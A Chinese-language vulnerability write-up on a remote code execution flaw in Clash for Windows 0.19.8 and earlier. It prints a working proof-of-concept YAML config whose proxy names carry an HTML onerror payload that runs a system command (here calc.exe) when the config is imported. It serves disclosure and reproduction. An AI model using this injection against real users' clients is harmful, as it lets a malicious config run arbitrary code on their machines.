漏洞描述

[Bug]: Remote Code Execution/远程代码执行 · Issue #2710 · Fndroid/clash_for_windows_pkg (github.com)

影响版本

Clash for Windows 0.19.9版本受部分影响。

Clash for Windows 0.19.8及以下版本均受RCE影响。

漏洞复现

POC:

port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
  - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: socks5
    server: 127.0.0.1
    port: "17938"
    skip-cert-verify: true
  - name: abc
    type: socks5
    server: 127.0.0.1
    port: "8088"
    skip-cert-verify: true

proxy-groups:
  -
    name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
    type: select
    proxies:
    - a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>

Clash for Windows下载地址:Releases · Fndroid/clash_for_windows_pkg (github.com)

下载0.19.8及以前版本,安装好之后直接导入POC或将POC保存为yaml文件进行导入即可:

QHdF3G

若是选择导入文件方式,点击Proxies即会自动弹出计算器,漏洞验证成功。

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。